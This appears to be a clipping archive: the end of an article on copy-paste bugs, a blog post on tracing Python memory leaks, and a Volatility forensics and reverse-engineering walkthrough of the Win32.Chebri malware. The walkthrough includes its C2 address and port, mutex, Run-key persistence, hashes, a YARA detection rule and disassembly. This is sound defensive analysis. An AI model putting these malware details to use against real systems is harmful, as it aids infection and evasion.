It does not matter that the 'invModulate' array consists only of three items.
This code is taken from the legendary game Wolfenstein 3D.

And here is a more complicated sample in the end. This code is taken from a
rather useful tool Notepad++.

[code]

    void KeyWordsStyleDialog::updateDlg() 
    {
      ...
      Style & w1Style =
        _pUserLang->_styleArray.getStyler(STYLE_WORD1_INDEX);
      styleUpdate(w1Style, _pFgColour[0], _pBgColour[0],
        IDC_KEYWORD1_FONT_COMBO, IDC_KEYWORD1_FONTSIZE_COMBO,
        IDC_KEYWORD1_BOLD_CHECK, IDC_KEYWORD1_ITALIC_CHECK,
        IDC_KEYWORD1_UNDERLINE_CHECK);
    
      Style & w2Style =
        _pUserLang->_styleArray.getStyler(STYLE_WORD2_INDEX);
      styleUpdate(w2Style, _pFgColour[1], _pBgColour[1],
        IDC_KEYWORD2_FONT_COMBO, IDC_KEYWORD2_FONTSIZE_COMBO,
        IDC_KEYWORD2_BOLD_CHECK, IDC_KEYWORD2_ITALIC_CHECK,
        IDC_KEYWORD2_UNDERLINE_CHECK);
    
      Style & w3Style =
        _pUserLang->_styleArray.getStyler(STYLE_WORD3_INDEX);
      styleUpdate(w3Style, _pFgColour[2], _pBgColour[2],
        IDC_KEYWORD3_FONT_COMBO, IDC_KEYWORD3_FONTSIZE_COMBO,
        IDC_KEYWORD3_BOLD_CHECK, IDC_KEYWORD3_BOLD_CHECK,
        IDC_KEYWORD3_UNDERLINE_CHECK);
    
      Style & w4Style =
        _pUserLang->_styleArray.getStyler(STYLE_WORD4_INDEX);
      styleUpdate(w4Style, _pFgColour[3], _pBgColour[3],
        IDC_KEYWORD4_FONT_COMBO, IDC_KEYWORD4_FONTSIZE_COMBO,
        IDC_KEYWORD4_BOLD_CHECK, IDC_KEYWORD4_ITALIC_CHECK,
        IDC_KEYWORD4_UNDERLINE_CHECK);
      ...
    }
[/code]

You have to strain your eyes greatly trying to find an error here. So let me
abridge this code to make it clearer:

[code]

    styleUpdate(...
      IDC_KEYWORD1_BOLD_CHECK, IDC_KEYWORD1_ITALIC_CHECK,
      ...);
    styleUpdate(...
      IDC_KEYWORD2_BOLD_CHECK, IDC_KEYWORD2_ITALIC_CHECK,
      ...);
    styleUpdate(...
      IDC_KEYWORD3_BOLD_CHECK, IDC_KEYWORD3_BOLD_CHECK,
      ...);
    styleUpdate(...
      IDC_KEYWORD4_BOLD_CHECK, IDC_KEYWORD4_ITALIC_CHECK,
      ...);
[/code]

The developer's hand shook and he copied a wrong resource's name.

I can give you other defect code fragments in this article, but it is not
interesting. I just wanted to say by all these examples that such errors can
be found in various projects and both novice programmers and skilled
programmers make them. Now let's discuss what we should do with all that
stuff.

Well, to be frank, I do not have a complete answer. At least, I never read
about such situations in books but often came across consequences of small
Copy-Paste's in practice, including my own applications. So I will have to
improvise while answering the question.

Let's proceed from the following suggestion:

Programmers are copying code fragments and will continue doing this because it
is convenient. So, these errors will always occur in programs.

My conclusion is:

You cannot prevent such errors completely but you may try to make them less
probable.

I see two ways of how we could make errors of this type fewer. First, we
should use static code analyzers. They allow us to detect many errors of this
class at the very early stages. It is cheaper and easier to find and fix an
error right after writing the code than handle the same error detected during
the testing.

The second method to make errors fewer in some cases is to discipline oneself
and edit the code being copied in a special way. For example:

[code]

    int ztrend = sgn(
      buffer[samplesleft - WindowSizeInt-2]-buffer[samplesleft 
    - WindowSizeInt-2]);
[/code]

It is much easier to notice an error when the code is written in the following
way:

[code]

    int ztrend = sgn(
      buffer[samplesleft - WindowSizeInt-2] -
      buffer[samplesleft - WindowSizeInt-2]);
[/code]

You should edit the code so that fragments which must differ from each other
are visually arranged in a column. It is much more difficult to make an error
if you use this method. Of course, it will not save you in many cases - I have
mentioned such samples above. But still it is better than nothing.

Unfortunately, I do not know any other ways to reduce the number of Copy-Paste
related errors. You may use tools to search for repeated and similar code but
it rather refers to my advice concerning using static analyzers.

So, I appeal to you readers. I will appreciate if you share some of your ideas
concerning this issue with me and offer some other methods of avoiding Copy-
Paste related errors. Perhaps we will get nice ideas that will help many
programmers.

Please, send your feedback to this address karpov\[@\]viva64.com and I will be
glad if I manage to extend this article with your help.

## References

  * Steve McConnell, "Code Complete, 2nd Edition" Microsoft Press, Paperback, 2nd edition, Published June 2004, 914 pages, ISBN: 0-7356-1967-0. \(Part 24.3. Reasons to Refactor\)
  * Presentation "PVS-Studio, a complex solution for developers of modern resource-intensive applications". http://www.viva64.com/en/pvs-studio-presentation/

# Random notes from mg

**Created:**| _11/18/2010 5:48:12 PM_  
---|---  
**Updated:**| _11/18/2010 6:00:27 PM_  
**Author:**| __  
**Tags:**| _Exploit python programming bughunting Memory corruptions_  
  

# Random notes from mg

a blog by Marius Gedminas

  

* * *
Marius is a Python hacker. He works for Programmers of Vilnius, a small
Python/Zope 3 startup. He has a personal home page at http://gedmin.as. His
email is marius@gedmin.as. He does not like spam, but is not afraid of it.

* * *
## Thu, 12 Jun 2008

### Hunting memory leaks in Python

At work the functional test suite of our application used up quite a lot of
RAM \(over 500 megs\). For a long time it was cheaper to buy the developers an
extra gig of RAM than to spend time hunting down a possible memory leak, but
finally curiosity overcame me and I started investigating.

> Warning: long post ahead. With pictures.
Running a subset of the tests in a loop quickly proved that the memory leak is
real:

<img src='img/Temp2_6729.png' alt='Graph of memory usage versus time for the
same test repeated 5 times' />

The graph was produced by instrumenting the test runner to record the
timestamp, memory usage \(VmSize from /proc/$pid/status\) and the number of
objects being tracked by the garbage collector \(len\(gc.get\_objects\(\)\) in
a CSV file, and then writing a simple Python program to plot it with
matplotlib.

I love matplotlib for the ease of use, even though sometimes I wish the docs
were a bit nicer.

_But wait\!_ , I hear you say, _Python is a garbage-collected language\! How
can it leak memory?_

I'm glad you asked. The trouble is that sometimes an object created by the
test is referenced from a global variable, and that keeps it from being
collected. The tricky thing is to find where that reference comes from, and
what is the object being referenced. There are 800 thousand live objects, how
do you find the offending ones?

It took quite a while to think of a solution. Finally my coworker Ignas
suggested drawing object graphs with graphviz, and I developed a module with a
few convenient helper functions.

I put a breakpoint at the very end of the app and started looking around.
Here's the number of in-memory object databases:

[code]

    (Pdb) checks.count('DB')
    6
    
    
[/code]

There shouldn't be any, or there should be at most one \(a global in-memory
RAM database used for tracking browser sessions or something like that\)\!
Let's see what objects are pointing to the last one, limiting the referencing
chains to 15 objects:

[code]

    (Pdb) checks.show_backrefs(checks.by_type('DB')[-1])
    Graph written to objects.dot (185 nodes)
    Image generated as objects.png
    
    
[/code]

The image produces is nice, but large \(9760 x 8008 pixels\), so I'm not going
to show it here in full. Here's a shrunken version:

<img src='img/Temp2_6731.png' alt='Object referece graph showing the memory
leak' />

By the way, GIMP eats up a gig of RAM with it open.

If you could zoom in and pan around, and if you knew the colour code, you'd
immediatelly notice the green box indicating a module in the top-right corner:

<img src='img/Temp2_6733.png' alt='Part of the object referece graph showing
the source of the leak' />

Let me show you just the reference chain:

[code]

    (Pdb) import inspect
    (Pdb) chain = checks.find_backref_chain(checks.by_type('DB')[-1], inspect.ismodule)
    (Pdb) in_chain = lambda x, ids=set(map(id, chain)): id(x) in ids
    (Pdb) checks.show_backrefs(chain[-1], len(chain), filter=in_chain)
    Graph written to objects.dot (15 nodes)
    Image generated as objects.png
    
    
[/code]

<img src='img/Temp2_6732.png' alt='Chain of objects that keep the DB in
memory' />

To get rid of this leak I had to clear zope.app.error.error.\_temp\_logs in
the test tear-down by calling zope.app.error.error.\_clear\(\):

<img src='img/Temp2_6730.png' alt='Graph of memory usage versus time for the
same test repeated 5 times' />

I attribute the slight memory increase on the second repetition to memory
fragmentation: new objects are allocated, old objects are freed, the total
number of object stays the same, but now there are some gaps in the memory
arena. This effect disappears on the third and later repetitions, so I'm not
worrying.

There were a couple of other, smaller memory leaks elsewhere. At the end of
the day the full test suite fit in under 200 megs of RAM.

Don't let anyone tell you that graph theory is useless in the real world.
Also, Python's garbage collector's introspection powers are awesome\!

**Update: see thesource code for the 'checks' module.**

# Quick Volatility overview and R.E. analysis of Win32.Chebri

**Created:**| _8/27/2013 9:35:23 AM_  
---|---  
**Updated:**| _8/27/2013 9:35:23 AM_  
**Author:**| __  
**Tags:**| _Forensics Malware-analysis_  
  

# **Q** uick Volatility overview and R.E. analysis of Win32.Chebri****

## Introduction****

In this article we will start from the physical memory dump of a machine
suspected of malware compromise, successively with volatility we will
establish if the machine is infected and produce evidences from memory
artifacts**.** In the next steps the malicious component will be carved from
memory and analyzed with a classical Reverse Engineering approach**.**

It’s important to put in evidence the fact that actually we do not deal with a
complex malware \( Win32.Chebri it’s pretty easy \),  
the scope of this tutorial is to show how to manage/analyze a real case of
“Machine where there is a compromise suspect”**.**

The following scheme shows how such incidents are handled:

<img src='img/Temp2_6591.png' alt='Untitled drawing-1' />

### Forensics via Volatility****

Let’s imagine the following scenario: we are behind a large corporate network
and someone tells us that there is a workstation supposedly infected, but is
not clear what is the malware and what it does**.** First operation to do, as
suggested by the above image is the Memory Acquisition, in other words we are
going to dump entire memory of the suspected machine**.** In this case I’ve
used a VirtualBox to simulate the infected scenario and acquisition is
performed by using win32dd **.**

Now we have a copy of the memory dump and we can start our forensics analysis
via volatility **.** Let’s suppose that we do not know anything about the
subject of our analysis, first thing to do is to establish OS and environment
details we are going to deal with**.**

This can be done via **imageinfo** plugin exposed by Volatility:

| `# python ``vol``**.** py imageinfo -f aquart ``Volatile Systems Volatility
Framework 2**.** 3_beta``Determining profile based on KDBG
search..**.**``Suggested Profile(s) ``: WinXPSP2x86, WinXPSP3x86 (Instantiated
with WinXPSP2x86)``AS Layer1 ``: IA32PagedMemoryPae (Kernel AS)``AS Layer2 ``:
FileAddressSpace (/home/+/volatility/+)``PAE ``type` `: PAE``DTB ``:
0x311000L``KDBG ``: 0x80544ce0L``Number of Processors ``: 1``Image ``Type`
`(Service Pack) ``: 2``KPCR ``for` `CPU 0 ``: 0xffdff000L``KUSER_SHARED_DATA
``: 0xffdf0000L``Image ``date` `and ``time` `: 2013-08-11 14:55``:35
UTC+0000``Image local ``date` `and ``time` `: 2013-08-11 16:55``:35 +0200`  
---|---  
We deal with a Windows XP SP2 x86, this information is more useful than
someone might think, one example over all is given by the fact that during
analysis we have to use connscan plugin which is targeted for Windows XP**.**
Now that we know the environment we are working in, we can do our first
observations on what is happening \(and happened\) by analyzing the process
list**.** This can be done via **pslist** plugin as follows:

`# python vol``**.** py` `pslist -``f` `aquart ``Volatile Systems Volatility
Framework ``2``**.** 3_beta``Offset``(V) ``Name` `PID PPID Thds Hnds Sess
Wow64 Start ``---------- -------------------- ------ ------ ------ --------
------ ------ ------------------------------``0x825c79c8 System ``4` `0` `54`
`243` `------ ``0` `0x82493bf8 smss``.exe` `368` `4` `3` `21` `------ ``0`
`2013``-``07``-``28` `16``:``16``:``52` `UTC+``0000` `0x823a6128 csrss``.exe`
`584` `368` `10` `342` `0` `0` `2013``-``07``-``28` `16``:``16``:``52`
`UTC+``0000` `0x8236f458 winlogon``.exe` `608` `368` `18` `501` `0` `0`
`2013``-``07``-``28` `16``:``16``:``52` `UTC+``0000` `0x82384da0
services``.exe` `652` `608` `16` `256` `0` `0` `2013``-``07``-``28`
`16``:``16``:``52` `UTC+``0000` `0x823a42c0 lsass``.exe` `664` `608` `20`
`338` `0` `0` `2013``-``07``-``28` `16``:``16``:``52` `UTC+``0000` `0x82408da0
VBoxService``.exe` `816` `652` `8` `107` `0` `0` `2013``-``07``-``28`
`16``:``16``:``53` `UTC+``0000` `0x822768b0 svchost``.exe` `860` `652` `19`
`198` `0` `0` `2013``-``07``-``28` `16``:``16``:``53` `UTC+``0000` `0x8225e968
svchost``.exe` `948` `652` `10` `233` `0` `0` `2013``-``07``-``28`
`16``:``16``:``53` `UTC+``0000` `0x8225d3b8 svchost``.exe` `1040` `652` `56`
`1102` `0` `0` `2013``-``07``-``28` `16``:``16``:``53` `UTC+``0000`
`0x8224cae8 svchost``.exe` `1096` `652` `6` `89` `0` `0` `2013``-``07``-``28`
`16``:``16``:``53` `UTC+``0000` `0x82242020 svchost``.exe` `1120` `652` `15`
`211` `0` `0` `2013``-``07``-``28` `16``:``16``:``53` `UTC+``0000` `0x823873c0
explorer``.exe` `1512` `1496` `12` `307` `0` `0` `2013``-``07``-``28`
`16``:``16``:``53` `UTC+``0000` `0x8222a378 spoolsv``.exe` `1544` `652` `10`
`107` `0` `0` `2013``-``07``-``28` `16``:``16``:``53` `UTC+``0000` `0x822457a8
VBoxTray``.exe` `1684` `1512` `7` `64` `0` `0` `2013``-``07``-``28`
`16``:``16``:``53` `UTC+``0000` `0x824303c0 wscntfy``.exe` `552` `1040` `1`
`27` `0` `0` `2013``-``07``-``28` `16``:``17``:``06` `UTC+``0000` `0x82191688
alg``.exe` `1028` `652` `6` `104` `0` `0` `2013``-``07``-``28`
`16``:``17``:``06` `UTC+``0000` `0x82275798 TOTALCMD``.EXE` `1132` `1512` `8`
`220` `0` `0` `2013``-``07``-``28` `16``:``18``:``05` `UTC+``0000` `0x8239da78
wuauclt``.exe` `1072` `1040` `4` `135` `0` `0` `2013``-``08``-``11`
`14``:``47``:``35` `UTC+``0000` `0x82229020 regsrv34``.exe` `420` `412` `3`
`34` `0` `0` `2013``-``08``-``11` `14``:``48``:``42` `UTC+``0000` `0x81f6d020
win32``dd``.exe` `1980` `1132` `1` `21` `0` `0` `2013``-``08``-``11`
`14``:``55``:``33` `UTC+``0000`  
---  
Careful analysis of the process list could give us important hints on what is
running at the moment of the memory dump and most important thing we can
detect suspicious elements**.** In our case at a first look we have a bunch of
running processes, from the name column you can see there is not any strange
name \(usually names like sndfkusd.exe, sw23ncwj.exe, etc**.** should raise
the suspect bar\)**.** After that names have not given any clues we need to
move on the coherence analysis between **PIDs** \(process ID\) and **PPIDs**
\(Parent Process ID\)**.** Let’s take a look for example at **smss.exe** the
PID is **368** and the PPID is **4** , if you now take a look to the previous
row **System.exe** has **4** as PID, this means that **smss.exe** is a Child
of **System.exe****.** As in a cascade you can see that for example
**csrss.exe** have as PPID **368** which is the PID of **smss.exe****.**

The following image could help the most inexperienced to better understand
what i mean:

<img src='img/Temp2_6593.png' alt='Screen Shot 2013-08-12 at 6.23.47 PM' />

Now take a look to the red rectangle evidenced entry: **regsrv34.exe** – as
you can see we have **PID = 420** and **PPID = 412** , but if you look for a
process with PID 412 no entry will be found**.** This behavior **is not a
proof** that regsrv34.exe is malicious, but give us a suspected element, in
other words during analysis we will make particular attention if such process
emerges**.**

After inspecting the process list, with a positive balance \(we gained one
suspect\) let’s see the network activity of the system**.** We can use the
**connscan** plugin for that purpose:

| `# python vol``**.** py` `connscan -``f` `aquart ``Volatile Systems
Volatility Framework ``2``**.** 3_beta``Offset``(P) ``Local` `A``dd``ress
Remote A``dd``ress Pid``---------- -------------------------
------------------------- ---``0x023985a8 ``10``**.** 0``**.**
2``.15``:``1087` `92``**.** 61``.156``**.** 221``:``80` `1664``0x023c91f8
``10``**.** 0``**.** 2``.15``:``1088` `92``**.** 61``.156``**.** 221``:``80`
`1664``0x023e5650 ``10``**.** 0``**.** 2``.15``:``1089` `92``**.**
61``.156``**.** 221``:``80` `1664``0x02580398 ``10``**.** 0``**.**
2``.15``:``1123` `205``**.** 209``.161``**.** 10``:``20001` `420``0x025a1490
``127``**.** 0``**.** 0``.1``:``1070` `127``**.** 0``.0``**.** 1``:``1069`
`1664``0x02633ce0 ``1``**.** 0``**.** 0``.0``:``1067` `46``**.** 0``.0``**.**
0``:``1068` `0``0x026392f8 ``0``**.** 0``**.** 0``.0``:``1068` `1``**.**
0``.0``**.** 0``:``1067` `0`  
---|---  
Take a look at the Pid column, seems that the suspected process
\(**regsrv34.exe**\) with PID **420** produces some network traffic directed
to **205**.** 209**.** 161.10** on port **20001**. In a few moments, with a
fast search, we discover that IP belongs to an executable reported by
malwr.com:

https://malwr.com/analysis/YWYzMjI0MDZlZTEzNGIzYzkxOGU4YTk4NDk4MDU4Zjk/

Additional research via google \( **site:virustotal.com 205**.** 209.161.10**
\) leads to the following result:  
https://www.virustotal.com/en/file/c60b3f077bc7a1726e7e03f0e71b9473c2a2709d8bbf4d1249855e3350df525a/analysis/

The sample like in our case reaches the same IP:Port**.**

Is this enough to establish that regsrv34.exe is a malware**?** yes malwr, and
42/45 detection rate of VT are very strong proofs, but we will go further with
analysis in order to produce more evidences**.**

Now that our suspicions are definitely focused on PID = 420, let’s check the
handles opened by regsrv34 using **handles** plugin:

`# python vol``**.** py` `handles -``f` `aquart -p ``420``Volatile Systems
Volatility Framework ``2``**.** 3_beta``Offset``(V) Pid Handle Access ``Type`
`Details``---------- ------ ---------- ---------- ----------------
-------``0xe10096d0 ``420` `0x4 0xf0003 KeyedEvent
CritSecOutOfMemoryEvent``0xe1458d50 ``420` `0x8 0x3 Directory
KnownDlls``0x824ab028 ``420` `0xc 0x100020 File
\Device\Har``dd``iskVolume1\malware``0xe14acfb8 ``420` `0x10 0x20f003f Key
MACHINE``0xe1549898 ``420` `0x14 0xf000f Directory Windows``0xe1a4b2d0 ``420`
`0x18 0x21f0001 Port ``0xe14841b0 ``420` `0x1c 0xf001f ``Section` `0x822303d0
``420` `0x20 0x21f0003 Event ``0x824250e0 ``420` `0x24 0xf037f WindowStation
WinSta0``0x824a2088 ``420` `0x28 0xf01ff Desktop Default``0x824250e0 ``420`
`0x2c 0xf037f WindowStation WinSta0``0xe14b9ba8 ``420` `0x30 0x2000f Directory
BaseNamedObjects``0x82408988 ``420` `0x34 0x1f0003 Semaphore
shell**.**{``A48F1A32``-``A340``-``11D1``-``BC6B``-``00A0C90312E1``}``0xe176deb8
``420` `0x38 0x20f003f Key
USER\S-``1``-``5``-``21``-``1645522239``-``492894223``-``1343024091``-``1003``0x821d4c40
``420` `0x3c 0x100020 File
\Device\Har``dd``iskVolume1\WINDOWS\WinSxS\x86_Microsoft``.Windows``.Common-
Controls_6595b64144ccf1df_6``**.** 0``.2600``.2180_x-ww_a84f1ff9``0x8246c7f0
``420` `0x40 0x1f0001 Mutant
DANCHODANCHEV_END_BRIANKREBS_GOT_FARRIED``0x82241020 ``420` `0x44 0x1f03ff
Thread TID ``668` `PID ``420``0x82431578 ``420` `0x48 0x1f0003 Event
``0xe1b642a8 ``420` `0x4c 0xf003f Key
MACHINE\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9``0x82387340
``420` `0x50 0x1f0003 Event ``0xe1b313f8 ``420` `0x54 0xf003f Key
MACHINE\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5``0x821d1338
``420` `0x58 0x1f03ff Thread TID ``316` `PID ``420``0x821d1338 ``420` `0x5c
0x1f03ff Thread TID ``316` `PID ``420``0x821d1``dd``0 ``420` `0x60 0x1f0003
Event ``0x82373900 ``420` `0x64 0x1f0003 Event ``0x821f9408 ``420` `0x68
0x1f0003 Event ``0x823878e8 ``420` `0x6c 0x1f0003 Event ``0x821cfc70 ``420`
`0x70 0x1f0003 Event ``0x821d1338 ``420` `0x74 0x1f03ff Thread TID ``316` `PID
``420``0x823d49e0 ``420` `0x78 0x100001 File \Device\KsecDD``0x8235f990 ``420`
`0x7c 0x1f0003 Event ``0x823e51b0 ``420` `0x88 0x21f0003 IoCompletion
``0x824123b0 ``420` `0x8c 0x1f0003 Event ``0x82439280 ``420` `0x90 0x21f01ff
File \Device\``Afd``\AsyncConnectHlp`  
---  
The most interesting entry is given by the Mutex owned by the process:

>
[code]

>     0x8246c7f0    420       0x40   0x1f0001 Mutant
> DANCHODANCHEV_END_BRIANKREBS_GOT_FARRIED
[/code]

This is clearly another very strong evidence left by the malware**.** The same
evidence could be obtained by using **mutantscan** plugin, in this case we
will have also the corresponding thread:

`# python vol``**.** py` `mutantscan -``f` `aquart ``Volatile Systems
Volatility Framework ``2``**.** 3_beta``Offset``(P) #``Ptr` `#Hnd Signal
Thread CID ``Name``---------- ---- ---- ------ ---------- ---------
----``..``0x0266c7f0 ``2` `1` `0` `0x82241020 ``420``:``668`
`DANCHODANCHEV_END_BRIANKREBS_GOT_FARRIED`  
---  
The thread is **0×82241020** , now we can see also specific information linked
to this thread by using **threads** plugin:

`# python vol``**.** py` `threads -``f` `aquart --pid=``420``Volatile Systems
Volatility Framework ``2``**.** 3_beta``[x86] Gathering ``all` `referenced
SSDTs from KTHREADs..**.**``Finding appropriate a``dd``ress space ``for`
`tables..**.**``------``ETHREAD: 0x82241020 Pid: ``420` `Tid: ``668``Tags:
``Created: ``2013``-``08``-``11` `14``:``48``:``42` `UTC+``0000``Exited:
``1970``-``01``-``01` `00``:``00``:``00` `UTC+``0000``Owning Process:
regsrv34``.exe``Attached Process: regsrv34``.exe``State:
Waiting:DelayExecution``BasePriority: 0x8``Priority: 0x8``TEB:
0x7ffde000``StartA``dd``ress: 0x7c810867 kernel32``.dll``ServiceTable:
0x80552140``[``0``] 0x80501030``[``1``] 0xbf997600``[``2``]
0x00000000``[``3``] 0x00000000``Win32Thread: 0xe1a57118``CrossThreadFlags:`  
---  
In this case since we do not deal with complex malware, the thread view does
not add much information, but still we can see the creation time\(**2013-08-11
14:48:42**\) , this could help in the case of a timeline analysis**.**
Timeline analysis help us to chronologically reconstruct events that are
linked to the infection process**.** In this case comes of great help the
**timeliner** plugin which can be called as follows:

`-R A``dd``s registry keys/dates to timeline``-v Verbose information``$ python
vol``**.** py` `timeliner -R -v -``f` `aquart --output-
file=/home/+/volatility/timeliner``.txt``Volatile Systems Volatility Framework
``2``**.** 3_beta`  
---  
The subject of our research is “regsrv34.exe”, so we can, in first instance,
grep for this name, in other cases we can use also datetime information carved
from previous artifact \(for example we can look for 14:48:42\)**.** Here the
result:

`$ grep regsrv timeliner``.txt``2013``-``08``-``11` `14``:``48``:``42`
`UTC+``0000``|[PROCESS]|regsrv34``.exe``|``420``|``412``||0x02429020||``2013``-``08``-``11`
`14``:``48``:``42`
`UTC+``0000``|[THREAD]|regsrv34``.exe``|``420``|``828``||||``2013``-``08``-``11`
`14``:``48``:``42`
`UTC+``0000``|[THREAD]|regsrv34``.exe``|``420``|``316``||||``2013``-``08``-``11`
`14``:``48``:``42`
`UTC+``0000``|[THREAD]|regsrv34``.exe``|``420``|``316``||||``2013``-``08``-``11`
`14``:``48``:``42`
`UTC+``0000``|[THREAD]|regsrv34``.exe``|``420``|``668``||||``2012``-``05``-``22`
`20``:``52``:``34` `UTC+``0000``|[PE Timestamp
(exe)]|regsrv34``.exe``|``420``|``412``|``"C:\Documents and
Settings\+\Application Data\regsrv34.exe"``|0x02429020|||``2012``-``05``-``22`
`20``:``52``:``34` `UTC+``0000``|[PE Timestamp
(dll)]|regsrv34``.exe``|``420``|``412``|regsrv34``.exe``|EPROCESS ``Offset``:
0x02429020|DLL Base: 0x ``400000``||``2004``-``08``-``04` `07``:``56``:``36`
`UTC+``0000``|[PE Timestamp
(dll)]|regsrv34``.exe``|``420``|``412``|ntdll``.dll``|EPROCESS ``Offset``:
0x02429020|DLL Base: 0x7c900000||``2004``-``08``-``04` `07``:``55``:``56`
`UTC+``0000``|[PE Timestamp
(dll)]|regsrv34``.exe``|``420``|``412``|comctl32``.dll``|EPROCESS ``Offset``:
0x02429020|DLL Base: 0x773d0000||``2004``-``08``-``04` `07``:``56``:``40`
`UTC+``0000``|[PE Timestamp
(dll)]|regsrv34``.exe``|``420``|``412``|USER32``.dll``|EPROCESS ``Offset``:
0x02429020|DLL Base: 0x77d40000||``2004``-``08``-``04` `07``:``57``:``39`
`UTC+``0000``|[PE Timestamp
(dll)]|regsrv34``.exe``|``420``|``412``|WS2HELP``.dll``|EPROCESS ``Offset``:
0x02429020|DLL Base: 0x71aa0000||`  
---  
As you can see we have information about thread start and successively PE
Timestamp \(exe\) hints, this entry help us to locate where the binary is
placed:

> C:\Documents and Settings\\+\Application Data\regsrv34.exe
This can be considered another evidence \(FileSystem evidence\)**.**

Due to the fact that this binary is placed into Application Data we can
suppose that it’s required a survival on reboot mechanism in order to re-
execute that malicious file when the machine is restarted**.** First most
common system to grant survival on reboot is to place a registry key entry
into CurrentVersion\Run, let’s inspect this entry via **printkey** plugin:

`# python vol``**.** py` `printkey -``f` `aquart -K
``"Software\Microsoft\Windows\CurrentVersion\Run"``Volatile Systems Volatility
Framework ``2``**.** 3_beta``Legend: (S) = Stable (V) =
Volatile``----------------------------``Registry:
\Device\Har``dd``iskVolume1\Documents ``and`
`Settings\NetworkService\NTUSER``.DAT``Key ``name``: Run (S)``Last updated:
``2013``-``07``-``28` `14``:``09``:``27`
`UTC+``0000``Subkeys:``Values:``----------------------------``Registry:
\Device\Har``dd``iskVolume1\Documents ``and` `Settings\+\NTUSER``.DAT``Key
``name``: Run (S)``Last updated: ``2013``-``08``-``11` `14``:``48``:``42`
`UTC+``0000``Subkeys:``Values:``REG_SZ Microsoft DLL Registrations : (S)
``C``:\Documents ``and` `Settings\+\Application
Data\regsrv34``.exe``----------------------------``Registry:
\Device\Har``dd``iskVolume1\WINDOWS\system32\config\default``Key ``name``: Run
(S)``Last updated: ``2013``-``07``-``28` `16``:``00``:``43`
`UTC+``0000``Subkeys:``Values:``----------------------------``Registry:
\Device\Har``dd``iskVolume1\Documents ``and`
`Settings\LocalService\NTUSER``.DAT``Key ``name``: Run (S)``Last updated:
``2013``-``07``-``28` `14``:``09``:``39` `UTC+``0000``Subkeys:``Values:`  
---  
As you can see we have an entry into “\Device\HarddiskVolume1\Documents and
Settings\\+\NTUSER.DAT” which as been added “**Last updated: 2013-08-11
14:48:42** ” \(which matches with the infection time event\) and explicitly
referred \( REG\_SZ \) to the path previously seen**.** Here we have another
evidence \( Registry evidence \)**.**

At this point we have:

  * Established that the system is infected
  * Produced a reasonable amount of evidences

Further analysis now requires a direct Reverse Engineering analysis over the
sample, this one could be carved from the memory dump by using **procexedump**
plugin**.**

`# python vol``**.** py` `procexedump -``f` `aquart -p ``420` `--dump-
dir=/home/+/volatility/``Volatile Systems Volatility Framework ``2``**.**
3_beta``Process(V) ImageBase ``Name` `Result``---------- ----------
-------------------- ------``0x82229020 0x00400000 regsrv34``.exe` `OK:
executable``**.** 420``.exe`  
---  
Before jumping into Reverse Engineering paragraph, let’s imagine the following
scenario**.** We are always in our corporate network and there is the suspect
that a large number of machines has been compromised, we need now a fast
system to verify the infected workstation**.** For that scope we can build a
YARA rule as follows:

| `rule win32_chebri : generic``{``meta:``description = ``"Win32.Chebri**.**
C"``author = ``"evilcry"`  
---|---  
| `strings:``$a` `=
``"DANCHODANCHEV_END_BRIANKREBS_GOT_FARRIED"``condition:``$a``}`  
---|---  
Finally let’s run this rule against our memory dump by using **yarascan**
plugin:

`$ python vol``**.** py` `yarascan -y win32chebri``.yar` `-``f`
`aquart``Volatile Systems Volatility Framework ``2``**.** 3_beta``Rule:
win32_chebri``Owner: Process regsrv34``.exe` `Pid ``420``0x004040ec ``44` `41`
`4e` `43` `48` `4f` `44` `41` `4e` `43` `48` `45` `56` `5f` `45` `4e`
`DANCHODANCHEV_EN``0x004040fc ``44` `5f` `42` `52` `49` `41` `4e` `4b` `52`
`45` `42` `53` `5f` `47` `4f` `54` `D_BRIANKREBS_GOT``0x0040410c ``5f` `46`
`41` `52` `52` `49` `45` `44` `00` `00` `00` `00` `72` `00` `65` `00`
`_FARRIED..**.**``.r``**.** e``.``0x0040411c ``67` `00` `73` `00` `72` `00`
`76` `00` `33` `00` `34` `00` `2e` `00` `65` `00` `g``**.** s``.r``**.**
v``.3``.4``..``.e``**.**`  
---  
Note about the rule: Win32.Chabri**.** C is available in a number of variants,
the mutex name could change \(thanks to Mila from Contagiodump for the
information\), so take this rule as a didactic one, if you want a fully
working rule you should sign some of the Unicode strings like “r**.**
e.g.s.r**.** v.”.

### Quick Reverse Engineering of Win32.Chebri****

In this paragraph we are going to take advantage from the executable carved
from the memory dump**.** The R.E. analysis that we will perform is not
intended to go extremely in depth because we face a pretty simple malware and
the scope of this paper is to show now how to gain more knowledge on how
Win32.Chebri works**.**

Let’s start with some general inspection of the PE geometry:

**Original Filename** : 487309907.gif  
**MD5** : 8FB5D22F0E9D0AB7D6C73C6A58F6DE99  
**SHA1** : A0E4A4197C565433492FDE40AE3B53415F160B09  
**File Header Timedatestamp** : Tue May 22 22:52:34 2012

The executable as not a Resource Directory and Import Table is coherent**.**

According to entropy plot produced by Profiler  and shown below:

<img src='img/Temp2_6592.png' alt='entropy_resized' />

Approximately low entropy plot denotes the absence of “heavy” packed /
encrypted portions of code**.** We can start now to reverse the code starting
from the EntryPoint:

| `.text``:``00402310` `push` `ebp``.text``:``00402311` `mov` `ebp``,
``esp``.text``:``00402313` `sub` `esp``, ``20Ch``.text``:``00402319` `push`
`offset` `Name` `;
"DANCHODANCHEV_END_BRIANKREBS_GOT_FARRIE"..**.**``.text``:``0040231E` `push`
`1` `; bInitialOwner``.text``:``00402320` `push` `0` `;
lpMutexAttributes``.text``:``00402322` `call`
`ds``:CreateMutexA``.text``:``00402328` `mov` `[``ebp``+hObject],
``eax``.text``:``0040232E` `call` `ds``:GetLastError``.text``:``00402334`
`cmp` `eax``, ERROR_ALREADY_EXISTS``.text``:``00402339` `jnz` `short`
`Infect``.text``:``0040233B` `push` `1194h ` `;
dwMilliseconds``.text``:``00402340` `mov` `eax``,
[``ebp``+hObject]``.text``:``00402346` `push` `eax` `;
hHandle``.text``:``00402347` `call`
`ds``:WaitForSingleObject``.text``:``0040234D` `cmp` `eax``,
WAIT_TIMEOUT``.text``:``00402352` `jnz` `short` `Infect``.text``:``00402354`
`xor` `eax``, ``eax``.text``:``00402356` `jmp` `End`  
---|---  
As first operation Chebri creates a mutex
“DANCHODANCHEV\_END\_BRIANKREBS\_GOT\_FARRIED” to check if there are other
instances of the malware running successively it’s called
**WaitForSingleObject** , if the mutex exists or WaitForSingleObject exits
